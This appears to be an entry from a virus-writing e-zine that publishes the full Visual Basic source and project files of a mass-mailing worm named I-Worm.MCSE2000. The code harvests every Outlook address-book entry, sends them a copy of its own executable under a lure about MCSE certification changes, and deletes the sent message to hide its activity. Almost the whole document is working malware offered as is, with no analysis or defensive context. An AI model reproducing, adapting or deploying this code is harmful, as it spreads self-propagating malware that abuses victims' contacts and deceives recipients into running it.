When the going gets weird the weird turn pro
| last article | table of contents | next article |
|---|
| last article | table of contents | next article |
|---|
Trojaner.Win32.SendExe by Energy
A simple vb trojan/worm.
file Mcse2000.bas:
'by Energy
Attribute VB_Name = "MCSE2000"
Dim Outlook As Object
Sub Main()
On Error Resume Next
MyFullExeName = App.Path & App.EXEName & ".exe"
If Right(App.Path, 1) <> "\" Then MyFullExeName = App.Path & "\" & App.EXEName & ".exe"
Set Outlook = CreateObject("Outlook.Application")
Set Mapi = Outlook.GetNameSpace("MAPI")
AdressList = "support@microsoft.com"
For Each Adress In Mapi.AddressLists
For i = 1 To Adress.AddressEntries.Count
AdressList = AdressList & ";" & Adress.AddressEntries(i)
Next
Next
Set Out = Outlook.CreateItem(0)
Out.Subject = "MCSE2000 Informations"
Out.Body = "Hi," & vbCrLf & _
"I have here a lot of New Information, about the MCSE2000." & vbCrLf & _
"The Certification isnt not longer requested." & vbCrLf & _
"Please visit the attachment file." & vbCrLf & vbCrLf & _
"bye "
Out.BCC = AdressList
Out.Attachments.Add MyFullExeName
Out.DeleteAfterSubmit = True
'Out.Importance = ImportanceHigh
Out.Send
End
End Sub
file Mcse2000.vbp:
Type=Exe
Reference=*\G{00020430-0000-0000-C000-000000000046}#2.0#0#..\..\..\..\..\WINNT\System32\stdole2.tlb#OLE Automation
Module=MCSE2000; MCSE2000.bas
Startup="Sub Main"
HelpFile=""
Title="I-Worm.MCSE2000"
ExeName32="MCSE2000.exe"
Path32="..\..\..\..\..\Dokummente und Einstellungen\energy\all users\desktop\MCSE2000"
Command32=""
Name="MCSE2000"
HelpContextID="0"
CompatibleMode="0"
MajorVer=1
MinorVer=0
RevisionVer=0
AutoIncrementVer=0
ServerSupportFiles=0
VersionCompanyName="[TN]"
VersionFileDescription="I-Worm.MCSE2000"
VersionProductName="I-Worm.MCSE2000"
CompilationType=-1
OptimizationType=0
FavorPentiumPro(tm)=0
CodeViewDebugInfo=0
NoAliasing=0
BoundsCheck=0
OverflowCheck=0
FlPointCheck=0
FDIVCheck=0
UnroundedFP=0
StartMode=0
Unattended=0
ThreadPerObject=0
MaxNumberOfThreads=1
[MS Transaction Server]
AutoRefresh=1
file Mcse2000.vbw:
Body = 66, 66, 727, 523, Z
living virus